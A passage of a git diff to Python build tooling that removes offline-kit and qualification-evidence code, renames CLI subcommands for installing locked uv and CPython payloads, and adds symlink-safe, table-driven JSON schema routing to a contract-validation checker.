pairs: - if key in result: - raise ValueError("offline kit manifest contains a duplicate key") - result[key] = value - return result - - try: - value = json.loads( - path.read_text(encoding="utf-8"), # NOSONAR -- bounded non-symlink file checked above. - object_pairs_hook=reject_duplicates, - ) - except (OSError, UnicodeError, json.JSONDecodeError) as exc: - raise ValueError("offline kit manifest is invalid") from exc - if not isinstance(value, dict): - raise ValueError("offline kit manifest is invalid") - return value - - -def verify_offline_kit( # NOSONAR -- explicit payload checks preserve the auditable fail-closed sequence. - host_profile_id: str, - kit_root: Path, - *, - python_artifact_id: str, - trusted_manifest_sha256: str, -) -> dict[str, object]: - """Verify and execute the imported uv, Python, and generic-tool closure.""" - - manifest_path = kit_root / "offline-kit-manifest.json" - if re.fullmatch(r"[0-9a-f]{64}", trusted_manifest_sha256) is None: - raise ValueError("offline kit requires an exact trusted manifest digest") - if not manifest_path.is_file() or manifest_path.is_symlink() or _sha256(manifest_path) != trusted_manifest_sha256: - raise ValueError("offline kit manifest differs from the externally trusted digest") - manifest = _load_offline_kit_manifest(manifest_path) - expected = build_offline_kit_manifest(host_profile_id, kit_root, python_artifact_id=python_artifact_id) - if manifest != expected: - raise ValueError("offline kit contents differ from the bound manifest") - host, artifacts, _ = _load_host_selection(host_profile_id) - for artifact_id in manifest["artifact_ids"]: - platform = artifacts[artifact_id]["platform"] - for raw in platform["raw_manifest"]: - raw_path = kit_root / "archives" / artifact_id / raw["path"] - if ( - not raw_path.is_file() - or raw_path.is_symlink() - or raw_path.stat().st_size != raw["size"] - or _sha256(raw_path) != raw["sha256"] - ): - raise ValueError(f"offline kit {artifact_id} raw payload differs from the lock") - uv_result = inspect_executable( - "uv", - kit_root / "bin" / "uv", - ("--version",), - expected_version=f"uv {artifacts['uv']['version']}", - ) - expected_uv_identity = artifacts["uv"]["platform"]["installed_identity"] - observed_uv_identity = _observed_uv_identity(artifacts["uv"]["version"]) - uv_identity_passed = uv_result["outcome"] == "passed" and observed_uv_identity == expected_uv_identity - if not uv_identity_passed: - uv_result = { - "capability_id": "uv", - "outcome": "failed", - "reason_code": "payload-identity-mismatch", - } - python_version = artifacts[python_artifact_id]["version"] - feature = ".".join(python_version.split(".")[:2]) - python_candidates = sorted((kit_root / "python").glob(f"*/bin/python{feature}")) - if len(python_candidates) != 1: - raise ValueError("offline kit must contain exactly one selected Python executable") - try: - python_candidates[0].resolve().relative_to(kit_root.resolve()) - except ValueError as exc: - raise ValueError("offline kit Python executable escapes the kit") from exc - if not python_candidates[0].is_file(): - raise ValueError("offline kit selected Python executable is unavailable") - try: - python_probe = subprocess.run( - [ - str(python_candidates[0]), - "-c", - "import json,platform,sys,sysconfig; " - "print(json.dumps([platform.python_implementation(),platform.python_version()," - "bool(sysconfig.get_config_var('Py_GIL_DISABLED')),platform.system(),platform.machine()," - "sys.executable,sys.prefix]))", - ], - stdin=subprocess.DEVNULL, - text=True, - capture_output=True, - check=False, - timeout=PROBE_TIMEOUT_SECONDS, - env=dict(_PROBE_ENV), - ) - except (OSError, subprocess.SubprocessError): - python_probe = None - try: - python_identity = json.loads(python_probe.stdout) if python_probe is not None else [] - observed_python_identity = { - "implementation": python_identity[0], - "version": python_identity[1], - "abi": f"cp{python_identity[1].split('.')[0]}{python_identity[1].split('.')[1]}" - f"{'t' if python_identity[2] else ''}", - "target": _runtime_target(python_identity[3], python_identity[4]), - } - executable_identity = Path(python_identity[5]).resolve() - prefix_identity = Path(python_identity[6]).resolve() - executable_identity.relative_to(kit_root.resolve()) - prefix_identity.relative_to(kit_root.resolve()) - python_passed = ( - python_probe.returncode == 0 - and observed_python_identity == artifacts[python_artifact_id]["platform"]["installed_identity"] - ) - except (AttributeError, IndexError, TypeError, ValueError): - observed_python_identity = { - "implementation": "unobserved", - "version": "unobserved", - "abi": "unobserved", - "target": "unobserved", - } - python_passed = False - generic_ids = {"conftest", "gitleaks", "osv-scanner", "vale"} & set(manifest["artifact_ids"]) - if generic_ids and generic_ids != {"conftest", "gitleaks", "osv-scanner", "vale"}: - raise ValueError("offline kit must contain either all four generic tools or none") - if generic_ids: - with tempfile.TemporaryDirectory( - prefix=".raes-offline-tool-runtime-", - dir=kit_root.parent, - ) as runtime_directory: - runtime_root = Path(runtime_directory) - generic = qualify_generic_tools( - selections=_offline_generic_tool_selections( - kit_root, - runtime_root, - host["platform_id"], - artifacts, - ) - ) - else: - generic = {"outcome": "not-run", "results": []} - native_closure = _proof_native_closure_result(host) - outcome = ( - "passed" - if uv_identity_passed - and python_passed - and generic["outcome"] in {"passed", "not-run"} - and native_closure["outcome"] in {"passed", "not-run"} - else "failed" - ) - return { - "outcome": outcome, - "kit_id": manifest["kit_id"], - "proof_native_closure": native_closure, - "manifest_sha256": trusted_manifest_sha256, - "python": { - "outcome": "passed" if python_passed else "failed", - "expected_installed_identity": artifacts[python_artifact_id]["platform"]["installed_identity"], - "observed_installed_identity": observed_python_identity, - }, - "uv": uv_result, - "uv_identity": { - "outcome": "passed" if uv_identity_passed else "failed", - "expected_installed_identity": expected_uv_identity, - "observed_installed_identity": observed_uv_identity, - }, - "generic_tools": generic, - } - - _PROOF_NATIVE_CAPABILITY_IDS = ("bubblewrap", "fontconfig", "fonts", "locale-c-utf-8") @@ -1132,406 +725,8 @@ def _observed_uv_identity(version: str) -> dict[str, str]: } -def record_case_result( - repo_root: Path, - test_case_id: str, - implementation_revision: str, - harness_path: str, - artifact_ids: Sequence[str], -) -> dict[str, object]: - """Bind a passed case to the exact local harness and implementation revision.""" - - if test_case_id not in _CASE_IDS or re.fullmatch(r"[0-9a-f]{40}", implementation_revision) is None: - raise ValueError("case result identity is invalid") - if not all(isinstance(value, str) and re.fullmatch(r"[a-z0-9][a-z0-9._-]*", value) for value in artifact_ids): - raise ValueError("case result artifact identity is invalid") - if re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9._/-]{0,255}", harness_path) is None or ".." in Path(harness_path).parts: - raise ValueError("case harness must be a bounded repository-relative path") - harness = repo_root / harness_path - if not harness.is_file() or harness.is_symlink(): - raise ValueError("case harness is unavailable") - return { - "test_case_id": test_case_id, - "outcome": "passed", - "implementation_revision": implementation_revision, - "harness_path": harness_path, - "harness_sha256": _sha256(harness), - "artifact_ids": sorted(set(artifact_ids)), - } - - -def _load_case_results( # NOSONAR -- each closed-shape evidence field is validated explicitly. - repo_root: Path, - paths: Sequence[Path], - implementation_revision: str, -) -> list[dict[str, object]]: - results: list[dict[str, object]] = [] - seen: set[str] = set() - for path in paths: - if not path.is_file() or path.is_symlink() or path.stat().st_size > MAX_CASE_RESULT_BYTES: - raise ValueError("case result must be a bounded regular file") - try: - result = json.loads(path.read_text(encoding="utf-8")) # NOSONAR -- bounded non-symlink file checked above. - except (OSError, UnicodeError, json.JSONDecodeError) as exc: - raise ValueError("case result is invalid") from exc - if not isinstance(result, dict) or set(result) != { - "test_case_id", - "outcome", - "implementation_revision", - "harness_path", - "harness_sha256", - "artifact_ids", - }: - raise ValueError("case result has an invalid closed shape") - case_id = result["test_case_id"] - harness_path = result["harness_path"] - artifact_ids = result["artifact_ids"] - if ( - case_id not in _CASE_IDS - or case_id in seen - or result["outcome"] != "passed" - or result["implementation_revision"] != implementation_revision - or not isinstance(harness_path, str) - or not isinstance(artifact_ids, list) - or not all( - isinstance(value, str) and re.fullmatch(r"[a-z0-9][a-z0-9._-]*", value) for value in artifact_ids - ) - or record_case_result( - repo_root, - case_id, - implementation_revision, - harness_path, - artifact_ids, - ) - != result - ): - raise ValueError("case result does not match its harness or revision") - seen.add(case_id) - results.append(result) - if not results: - raise ValueError("at least one passed case result is required") - return results - - # Local qualification harnesses and the canonical case each slice belongs to. # A slice is bound evidence for part of a case; it never becomes a passed case. -_SLICE_HARNESSES: dict[str, tuple[str, dict[str, str]]] = { - "issue-1219-local-installation-qualification/v1": ( - "implementations/python/tests/issue_1219_installation_harness.py", - { - "cold-convergence": "T05", - "crash-recovery": "T05", - "live-publisher-exclusion": "T05", - "bounded-lock-timeout": "T05", - "unsafe-lock-rejection": "T06", - "warm-validation": "T07", - "quota-failure-recovery": "T07", - }, - ), - "issue-1220-proof-input-qualification/v1": ( - "implementations/python/tests/issue_1220_proof_input_harness.py", - { - "T05-cold-convergence": "T05", - "T05-warm-validation": "T05", - "T05-crash-recovery": "T05", - "T05-live-publisher-exclusion": "T05", - "T05-bounded-lock-timeout": "T05", - "T05-quota-failure-recovery": "T05", - "T05-real-cold-convergence": "T05", - "T05-real-crash-recovery": "T05", - "T05-real-live-publisher-exclusion": "T05", - "T11-egress-denied-admission": "T11", - "T13-corrupt-local-input": "T13", - "T13-malicious-archive": "T13", - "T13-missing-native-closure": "T13", - }, - ), -} -_REASON_CODE_RE = re.compile(r"[a-z0-9]+(?:-[a-z0-9]+)*") - - -def _slice_identity(case_mapping: dict[str, str], slice_name: object) -> tuple[str, str]: - """Return the closed canonical case and slice id a registered harness implements.""" - - canonical = case_mapping.get(slice_name) if isinstance(slice_name, str) else None - if canonical is None: - raise ValueError("slice evidence names a slice outside its harness") - slice_id = slice_name if slice_name.startswith(f"{canonical}-") else f"{canonical}-{slice_name}" - return canonical, slice_id - - -def _load_slice_results( # NOSONAR -- each closed-shape evidence field is validated explicitly. - repo_root: Path, - paths: Sequence[Path], -) -> list[dict[str, object]]: - """Bind local harness slice outcomes to the exact harness bytes in this checkout.""" - - results: list[dict[str, object]] = [] - seen: set[str] = set() - for path in paths: - if not path.is_file() or path.is_symlink() or path.stat().st_size > MAX_CASE_RESULT_BYTES: - raise ValueError("slice evidence must be a bounded regular file") - try: - document = json.loads(path.read_text(encoding="utf-8")) # NOSONAR -- bounded non-symlink file. - except (OSError, UnicodeError, json.JSONDecodeError) as exc: - raise ValueError("slice evidence is invalid") from exc - if not isinstance(document, dict) or document.get("schema") not in _SLICE_HARNESSES: - raise ValueError("slice evidence comes from an unknown harness") - harness_path, case_mapping = _SLICE_HARNESSES[document["schema"]] - coverage = document.get("coverage") - passed = document.get("passed_cases") - not_run = document.get("not_run_cases", {}) - elapsed = document.get("elapsed_seconds") - if ( - not isinstance(coverage, dict) - or coverage.get("canonical_outcome_recorded") is not False - or not isinstance(passed, list) - or not passed - or not isinstance(not_run, dict) - or not isinstance(elapsed, dict) - or set(passed) & set(not_run) - or set(elapsed) != set(passed) - ): - raise ValueError("slice evidence has an invalid closed shape") - harness_sha256 = _sha256(repo_root / harness_path) - for slice_name in [*passed, *not_run]: - canonical, slice_id = _slice_identity(case_mapping, slice_name) - if slice_id in seen: - raise ValueError("slice evidence repeats a slice") - seen.add(slice_id) - result: dict[str, object] = { - "slice_id": slice_id, - "canonical_case_id": canonical, - "harness_path": harness_path, - "harness_sha256": harness_sha256, - } - if slice_name in not_run: - reason = not_run[slice_name] - if not isinstance(reason, str) or _REASON_CODE_RE.fullmatch(reason) is None: - raise ValueError("slice evidence has an invalid not-run reason") - result.update(outcome="not-run", reason_code=reason) - else: - seconds = elapsed[slice_name] - if not isinstance(seconds, int | float) or isinstance(seconds, bool) or seconds < 0: - raise ValueError("slice evidence has an invalid duration") - result.update(outcome="passed", elapsed_seconds=round(float(seconds), 3)) - results.append(result) - return sorted(results, key=lambda item: str(item["slice_id"])) - - -def _payload_measurement(artifact_id: str, *, restored_kit: bool) -> str: - if restored_kit: - return "offline-kit-manifest-verified-and-executed" - measurements = { - "conftest": "installed-manifest-verified-and-executed", - "gitleaks": "installed-manifest-verified-and-executed", - "osv-scanner": "installed-manifest-verified-and-executed", - "vale": "installed-manifest-verified-and-executed", - "isabelle": "case-harness-verified", - } - return measurements.get(artifact_id, "installed-identity-observed") - - -def build_qualification_evidence( # NOSONAR -- closed-schema evidence checks remain explicit for auditability. - repo_root: Path, - host_profile_id: str, - implementation_revision: str, - evidence_location: str, - *, - python_artifact_id: str, - case_result_paths: Sequence[Path], - options: QualificationEvidenceOptions = _DEFAULT_QUALIFICATION_EVIDENCE_OPTIONS, -) -> dict[str, object]: - """Execute maintained clients and build a bounded, credential-free evidence record.""" - - if re.fullmatch(r"[0-9a-f]{40}", implementation_revision) is None: - raise ValueError("implementation revision must be an exact commit SHA") - if re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9._:/-]{0,255}", evidence_location) is None: - raise ValueError("evidence location must be a bounded public identifier") - if any(not isinstance(value, str) or not value or len(value) > 500 for value in options.limitations): - raise ValueError("qualification limitations must be bounded non-empty strings") - host, artifacts, policy_sha256 = _load_host_selection(host_profile_id) - case_results = _load_case_results(repo_root, case_result_paths, implementation_revision) - slice_results = _load_slice_results(repo_root, options.slice_evidence_paths) - passed_case_ids = {result["test_case_id"] for result in case_results} - if options.offline_kit_root is None: - if ( - options.offline_kit_archive_path is not None - or options.offline_kit_manifest_sha256 is not None - or "T12" in passed_case_ids - ): - raise ValueError("T12 and offline-kit evidence require a verified restored kit") - offline_kit_result = None - else: - if options.offline_kit_archive_path is None or options.offline_kit_manifest_sha256 is None: - raise ValueError("restored offline-kit evidence requires its exact archive and trusted manifest digest") - offline_kit_result = verify_offline_kit( - host_profile_id, - options.offline_kit_root, - python_artifact_id=python_artifact_id, - trusted_manifest_sha256=options.offline_kit_manifest_sha256, - ) - if offline_kit_result["outcome"] != "passed": - raise ValueError("restored offline kit did not pass exact verification") - measured_artifact_ids = {artifact_id for result in case_results for artifact_id in result["artifact_ids"]} - if not measured_artifact_ids <= artifacts.keys() or python_artifact_id not in measured_artifact_ids: - raise ValueError("case results name payloads outside the validated host selection") - if python_artifact_id not in host["bootstrap_payload_ids"] or not python_artifact_id.startswith("cpython-"): - raise ValueError("Python evidence must select a CPython payload admitted by the host profile") - expected_python_identity = artifacts[python_artifact_id]["platform"]["installed_identity"] - expected_uv_identity = artifacts["uv"]["platform"]["installed_identity"] - if offline_kit_result is not None: - observed_python_identity = offline_kit_result["python"]["observed_installed_identity"] - python_identity_passed = offline_kit_result["python"]["outcome"] == "passed" - observed_uv_identity = offline_kit_result["uv_identity"]["observed_installed_identity"] - uv_result = offline_kit_result["uv"] - else: - observed_python_identity = observe_current_python_identity() - python_identity_passed = observed_python_identity == expected_python_identity - observed_uv_identity = _observed_uv_identity(artifacts["uv"]["version"]) - if uv_path := shutil.which("uv"): - uv_result = inspect_executable( - "uv", - Path(uv_path), - ("--version",), - expected_version=f"uv {artifacts['uv']['version']}", - ) - else: - uv_result = { - "capability_id": "uv", - "outcome": "failed", - "reason_code": "native-client-unavailable", - } - if observed_uv_identity != expected_uv_identity: - uv_result = { - "capability_id": "uv", - "outcome": "failed", - "reason_code": "payload-identity-mismatch", - } - payloads: list[dict[str, object]] = [] - for artifact_id in sorted(measured_artifact_ids): - artifact = artifacts[artifact_id] - platform = artifact["platform"] - if platform["platform_id"] != host["platform_id"] or ( - platform.get("host_profile_ids") and host_profile_id not in platform["host_profile_ids"] - ): - raise ValueError(f"host profile must select exactly one {artifact_id} payload") - payload_evidence: dict[str, object] = { - "artifact_id": artifact_id, - "version": artifact["version"], - "support_level": artifact.get("support_level", "blocking"), - "platform_id": platform["platform_id"], - "distribution_id": platform.get("distribution_id", "portable"), - "expected_raw_manifest": platform["raw_manifest"], - "measurement": _payload_measurement(artifact_id, restored_kit=offline_kit_result is not None), - } - if "installed_identity" in platform: - payload_evidence["expected_installed_identity"] = platform["installed_identity"] - if artifact_id == python_artifact_id: - payload_evidence["observed_installed_identity"] = observed_python_identity - elif artifact_id == "uv": - payload_evidence["observed_installed_identity"] = observed_uv_identity - if "installed_manifest" in platform: - payload_evidence["installed_manifest"] = platform["installed_manifest"] - payloads.append(payload_evidence) - generic_artifact_ids = {"conftest", "gitleaks", "osv-scanner", "vale"} - measured_generic_ids = measured_artifact_ids & generic_artifact_ids - if measured_generic_ids and measured_generic_ids != generic_artifact_ids: - raise ValueError("generic-tool evidence must measure the complete four-tool platform set") - if measured_generic_ids: - generic = ( - offline_kit_result["generic_tools"] - if offline_kit_result is not None - else qualify_generic_tools(selections=options.generic_selections) - ) - else: - generic = {"outcome": "not-run", "results": []} - proof_required = host["proof_support"] == "linux-x86_64-required" - observed_base, observed_repository, host_identity_results = observe_host_identity(host) - capabilities: list[dict[str, str]] = [ - { - "capability_id": "cpython", - "outcome": "passed" if python_identity_passed else "failed", - "version": observed_python_identity["version"], - "expected_version": expected_python_identity["version"], - "observed_identity": json.dumps(observed_python_identity, sort_keys=True, separators=(",", ":")), - **({} if python_identity_passed else {"reason_code": "payload-identity-mismatch"}), - }, - { - "capability_id": "native-proof", - "outcome": "passed" if proof_required and "T01" in passed_case_ids else "unsupported", - "observed_identity": "case:T01" if proof_required and "T01" in passed_case_ids else host["platform_id"], - "reason_code": "bound-proof-harness" - if proof_required and "T01" in passed_case_ids - else "proof-requires-linux-x86_64", - }, - ] - capabilities.extend(host_identity_results) - if measured_generic_ids: - capabilities.extend(generic["results"]) - capabilities.extend(_native_client_results(host)) - if offline_kit_result is not None: - capabilities.append( - { - "capability_id": "offline-kit", - "outcome": "passed", - "observed_identity": f"manifest:{offline_kit_result['manifest_sha256']}", - } - ) - capabilities.append(uv_result) - for capability in capabilities: - capability.setdefault( - "observed_identity", - f"{capability['capability_id']}:{capability.get('version', capability['outcome'])}", - ) - outcome = ( - "passed" - if (generic["outcome"] == "passed" or not measured_generic_ids) - and uv_result["outcome"] == "passed" - and python_identity_passed - and all(item["outcome"] == "passed" for item in capabilities if item["outcome"] != "unsupported") - else "failed" - ) - record: dict[str, object] = { - "evidence_id": ( - f"{host_profile_id}-{python_artifact_id}-" - f"{'-'.join(sorted(passed_case_ids)).lower()}-{implementation_revision[:12]}" - ), - "host_profile_id": host_profile_id, - "platform_id": host["platform_id"], - "implementation_revision": implementation_revision, - "observed_at": dt.datetime.now(dt.UTC).isoformat().replace("+00:00", "Z"), - "test_case_ids": sorted(result["test_case_id"] for result in case_results), - "context": "restored-offline-kit" if options.offline_kit_root is not None else "public-runner", - "base_image_identity": observed_base, - "declared_base_image_identity": host["base_image_identity"], - "observed_runner_image": _safe_runner_image(), - "native_repository_identity": observed_repository, - "policy_sha256": policy_sha256, - "harness_sha256": _sha256(Path(__file__)), - "evidence_location": evidence_location, - "payload_results": payloads, - "capability_results": capabilities, - "case_results": case_results, - "outcome": outcome, - } - if slice_results: - record["slice_results"] = slice_results - if options.limitations: - record["limitations"] = sorted(set(options.limitations)) - if options.offline_kit_archive_path is not None: - if not options.offline_kit_archive_path.is_file() or options.offline_kit_archive_path.is_symlink(): - raise ValueError("offline kit archive must be a regular file") - record["offline_kit_evidence"] = { - "path": options.offline_kit_archive_path.name, - "sha256": _sha256(options.offline_kit_archive_path), - "size": options.offline_kit_archive_path.stat().st_size, - } - encoded = json.dumps(record, sort_keys=True, separators=(",", ":")).encode() - record["evidence_sha256"] = hashlib.sha256(encoded).hexdigest() - return record - - def _parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser(description=__doc__) subparsers = parser.add_subparsers(dest="operation", required=True) @@ -1541,55 +736,19 @@ def _parse_args() -> argparse.Namespace: inspect.add_argument("host_profile_id") generic = subparsers.add_parser("generic-tools", help="execute the four locked generic tools") generic.add_argument("--local-input-root", type=Path) - evidence = subparsers.add_parser("qualification-evidence", help="execute tools and emit host-bound evidence") - evidence.add_argument("host_profile_id") - evidence.add_argument("implementation_revision") - evidence.add_argument("evidence_location") - evidence.add_argument("--python-artifact-id", required=True) - evidence.add_argument("--case-result", action="append", type=Path, required=True) - evidence.add_argument("--offline-kit-root", type=Path) - evidence.add_argument("--offline-kit", type=Path) - evidence.add_argument("--offline-kit-manifest-sha256") - evidence.add_argument("--limitation", action="append", default=[]) - evidence.add_argument("--slice-evidence", action="append", type=Path, default=[]) - case = subparsers.add_parser("record-case", help="bind a passed case to its exact harness") - case.add_argument("test_case_id", choices=sorted(_CASE_IDS)) - case.add_argument("implementation_revision") - case.add_argument("harness_path") - case.add_argument("--artifact-id", action="append", default=[]) - kit_fetch = subparsers.add_parser("offline-kit-fetch", help="fetch exact raw payloads with native curl") + kit_fetch = subparsers.add_parser("fetch-inputs", help="fetch exact raw payloads with native curl") kit_fetch.add_argument("host_profile_id") kit_fetch.add_argument("kit_root", type=Path) kit_fetch.add_argument("--artifact-id", action="append", required=True) - kit_manifest = subparsers.add_parser("offline-kit-manifest", help="measure a target-specific payload kit") - kit_manifest.add_argument("host_profile_id") - kit_manifest.add_argument("kit_root", type=Path) - kit_manifest.add_argument("--python-artifact-id", required=True) - kit_digest = subparsers.add_parser("offline-kit-manifest-digest", help="hash a producer-authenticated manifest") - kit_digest.add_argument("manifest_path", type=Path) - kit_copy = subparsers.add_parser("offline-kit-copy-tree", help="copy and relocate an installed payload tree") - kit_copy.add_argument("source_root", type=Path) - kit_copy.add_argument("destination_root", type=Path) - kit_tool_seeds = subparsers.add_parser( - "offline-kit-export-tool-seeds", - help="export exact generic-tool trees as immutable seeds", - ) - kit_tool_seeds.add_argument("host_profile_id") - kit_tool_seeds.add_argument("source_root", type=Path) - kit_tool_seeds.add_argument("destination_root", type=Path) - kit_python = subparsers.add_parser("offline-kit-install-python", help="verify and extract locked CPython") + kit_fetch.add_argument("--locator-ref", help="approved same-byte locator for one selected artifact") + kit_python = subparsers.add_parser("install-python", help="verify and extract locked CPython") kit_python.add_argument("host_profile_id") kit_python.add_argument("kit_root", type=Path) kit_python.add_argument("--python-artifact-id", required=True) - kit_uv = subparsers.add_parser("offline-kit-install-uv", help="verify and extract the locked uv client") + kit_uv = subparsers.add_parser("install-uv", help="verify and extract the locked uv client") kit_uv.add_argument("host_profile_id") kit_uv.add_argument("kit_root", type=Path) kit_uv.add_argument("--uv-artifact-id", required=True) - kit_verify = subparsers.add_parser("offline-kit-verify", help="verify and execute an imported payload kit") - kit_verify.add_argument("host_profile_id") - kit_verify.add_argument("kit_root", type=Path) - kit_verify.add_argument("--python-artifact-id", required=True) - kit_verify.add_argument("--trusted-manifest-sha256", required=True) proof = subparsers.add_parser("proof-support", help="report the native proof support classification") proof.add_argument("platform_id") return parser.parse_args() @@ -1614,89 +773,32 @@ def main() -> int: # NOSONAR -- CLI dispatch keeps operation exit semantics exp ) print(json.dumps(result, sort_keys=True)) return 0 if result["outcome"] == "passed" else 1 - elif args.operation == "qualification-evidence": - result = build_qualification_evidence( - Path.cwd(), - args.host_profile_id, - args.implementation_revision, - args.evidence_location, - python_artifact_id=args.python_artifact_id, - case_result_paths=args.case_result, - options=QualificationEvidenceOptions( - offline_kit_root=args.offline_kit_root, - offline_kit_archive_path=args.offline_kit, - offline_kit_manifest_sha256=args.offline_kit_manifest_sha256, - limitations=args.limitation, - slice_evidence_paths=args.slice_evidence, - ), - ) - print(json.dumps(result, sort_keys=True)) - return 0 if result["outcome"] == "passed" else 1 - elif args.operation == "record-case": - print( - json.dumps( - record_case_result( - Path.cwd(), - args.test_case_id, - args.implementation_revision, - args.harness_path, - args.artifact_id, - ), - sort_keys=True, - ) - ) - elif args.operation == "offline-kit-manifest": + elif args.operation == "fetch-inputs": print( json.dumps( - build_offline_kit_manifest( - args.host_profile_id, - args.kit_root, - python_artifact_id=args.python_artifact_id, - ), - sort_keys=True, - ) - ) - elif args.operation == "offline-kit-fetch": - print( - json.dumps( - fetch_offline_kit_payloads( + fetch_bootstrap_payloads( args.host_profile_id, args.kit_root, args.artifact_id, + locator_ref=args.locator_ref, ), sort_keys=True, ) ) - elif args.operation == "offline-kit-manifest-digest": - _load_offline_kit_manifest(args.manifest_path) - print(_sha256(args.manifest_path)) - elif args.operation == "offline-kit-copy-tree": - copy_relocatable_tree(args.source_root, args.destination_root) - elif args.operation == "offline-kit-export-tool-seeds": - export_immutable_tool_seeds(args.host_profile_id, args.source_root, args.destination_root) - elif args.operation == "offline-kit-install-python": + elif args.operation == "install-python": print( json.dumps( - install_offline_python_payload(args.host_profile_id, args.kit_root, args.python_artifact_id), + install_python_payload(args.host_profile_id, args.kit_root, args.python_artifact_id), sort_keys=True, ) ) - elif args.operation == "offline-kit-install-uv": + elif args.operation == "install-uv": print( json.dumps( - install_offline_uv_payload(args.host_profile_id, args.kit_root, args.uv_artifact_id), + install_uv_payload(args.host_profile_id, args.kit_root, args.uv_artifact_id), sort_keys=True, ) ) - elif args.operation == "offline-kit-verify": - result = verify_offline_kit( - args.host_profile_id, - args.kit_root, - python_artifact_id=args.python_artifact_id, - trusted_manifest_sha256=args.trusted_manifest_sha256, - ) - print(json.dumps(result, sort_keys=True)) - return 0 if result["outcome"] == "passed" else 1 else: print( json.dumps( diff --git a/tools/check_json_artifacts.py b/tools/check_json_artifacts.py index 2dadca29f..c3f2f583d 100644 --- a/tools/check_json_artifacts.py +++ b/tools/check_json_artifacts.py @@ -17,6 +17,7 @@ sys.path.insert(0, str(REPO_ROOT)) from tools.policy.common import REPO_ROOT as POLICY_REPO_ROOT, changed_paths +from tools.tooling_artifact_policy_common import is_regular_repo_file from tools.python_closure_profiles import frozen_tool_command @@ -32,6 +33,48 @@ "tools/generate_contract_schemas.py", ) JSON_SCHEMA_WORKERS_ENV = "RAES_JSON_SCHEMA_WORKERS" +_AUTHORING_ADAPTER_ROUTES = { + "contracts/profiles/authoring-adapters/": "authoring-adapter-profile-v1", + "contracts/fixtures/authoring-adapters-v1/cases/": "authoring-adapter-vector-v1", +} + + +@dataclass(frozen=True) +class VersionedSchemaRoute: + """A source tree whose artifacts name their published contract in ``schema_version``. + + ``family`` is the directory under ``contracts/schemas/`` that holds the + contract. Adding a corpus is a row here, never a per-contract branch, and the + published-schema coverage gate inherits the row through + :func:`covered_schema_paths`. + """ + + prefix: str + family: str + recursive: bool = False + + +_VERSIONED_SCHEMA_ROUTES: tuple[VersionedSchemaRoute, ...] = ( + VersionedSchemaRoute("contracts/profiles/semantic/", "profiles"), + VersionedSchemaRoute("contracts/profiles/backend/", "profiles"), + VersionedSchemaRoute("contracts/profiles/random-stream/", "profiles"), + VersionedSchemaRoute("contracts/profiles/participant-information-reconstruction/", "profiles"), + VersionedSchemaRoute("contracts/profiles/behavioral-relation/", "profiles", recursive=True), + VersionedSchemaRoute("contracts/profiles/participant-boundary-flow-policy/", "profiles"), + VersionedSchemaRoute("contracts/profiles/scientific-completeness/", "profiles"), + VersionedSchemaRoute("contracts/profiles/validation/", "profiles"), + VersionedSchemaRoute("contracts/profiles/candidate-synthesis/", "candidate-synthesis"), + VersionedSchemaRoute("contracts/profiles/participant-control/", "participant-runtime"), + VersionedSchemaRoute("contracts/concept-authority/history/", "concept-authority"), + VersionedSchemaRoute("contracts/provenance/", "provenance"), + VersionedSchemaRoute("contracts/realization-envelopes/", "realization-envelope", recursive=True), + VersionedSchemaRoute("contracts/fixtures/random-stream-vectors/", "profiles", recursive=True), +) + +JSON_SUFFIX = ".json" +JSON_GLOB = f"*{JSON_SUFFIX}" + +_HISTORICAL_IDENTITY_RECORDS_PATH = "tools/policy/historical_identity_records.json" @dataclass(frozen=True) @@ -72,34 +115,85 @@ def _schema_filename(schema_version: str) -> str: return f"{schema_version.replace('/', '-')}.json" -def _semantic_profile_schema(repo_root: Path, path: Path) -> Path: - payload = _load_json(path) - schema_version = payload["schema_version"] - return repo_root / "contracts" / "schemas" / "profiles" / _schema_filename(schema_version) - - -def _backend_profile_schema(repo_root: Path, path: Path) -> Path: - payload = _load_json(path) - schema_version = payload["schema_version"] - return repo_root / "contracts" / "schemas" / "profiles" / _schema_filename(schema_version) +def _routable(repo_root: Path, path: Path) -> str | None: + """Return the repo-relative path only when it is a regular in-repository file. + + Corpus trees are PR-controlled, so discovery must not dereference a tracked + symlink: ``Path.is_file()`` follows one, and both the schema-version read and + ``check-jsonschema`` would then consume whatever the link resolves to on the + runner. ``is_regular_repo_file`` rejects a symlink at any component and any + non-regular leaf, which is the same boundary the published-schema coverage + gate applies to declared evidence. + """ + + relative = _repo_rel_from(repo_root, path) + return relative if is_regular_repo_file(repo_root, relative) else None + + +def _frozen_historical_records(repo_root: Path) -> frozenset[str]: + """Repo-relative artifacts pinned as immutable pre-cutover historical records. + + ``tools/check_identity_cutover.py`` governs these by content hash: each + preserves a dated fact in the shape its contract had when it was written, so + it is not a live document of the contract as published now, and validating it + against a later revision would be a category error that no edit could + honestly resolve. Excluding them from routing never hides a contract: the + live document alongside them still routes, and the published-schema coverage + gate reads the same join. + """ + + # This manifest decides what routing skips, so a symlink here could redirect + # the exclusion set at a file outside the checkout and suppress validation. + # Absent, irregular, or unreadable means "exclude nothing", never "exclude + # whatever the link resolves to". + records: object = None + if is_regular_repo_file(repo_root, _HISTORICAL_IDENTITY_RECORDS_PATH): + try: + payload = json.loads((repo_root / _HISTORICAL_IDENTITY_RECORDS_PATH).read_text(encoding="utf-8")) + except (OSError, ValueError): + payload = {} + records = payload.get("records") if isinstance(payload, dict) else None + if not isinstance(records, list): + return frozenset() + return frozenset( + record["path"] for record in records if isinstance(record, dict) and isinstance(record.get("path"), str) + ) -def _random_stream_profile_schema(repo_root: Path, path: Path) -> Path: - payload = _load_json(path) - schema_version = payload["schema_version"] - return repo_root / "contracts" / "schemas" / "profiles" / _schema_filename(schema_version) +def _versioned_schema(repo_root: Path, path: Path, family: str) -> Path: + """Resolve the published schema an artifact names through its own ``schema_version``.""" + schema_version = _load_json(path)["schema_version"] + return repo_root / "contracts" / "schemas" / family / _schema_filename(schema_version) -def _participant_information_reconstruction_profile_schema(repo_root: Path, path: Path) -> Path: - payload = _load_json(path) - schema_version = payload["schema_version"] - return repo_root / "contracts" / "schemas" / "profiles" / _schema_filename(schema_version) +def _versioned_schema_targets(repo_root: Path, *, paths: list[str] | None = None) -> list[ValidationTarget]: + """Route every artifact that names its own published contract via ``schema_version``.""" -def _random_stream_vector_schema(repo_root: Path, path: Path) -> Path: - payload = _load_json(path) - schema_version = payload["schema_version"] - return repo_root / "contracts" / "schemas" / "profiles" / _schema_filename(schema_version) + frozen = 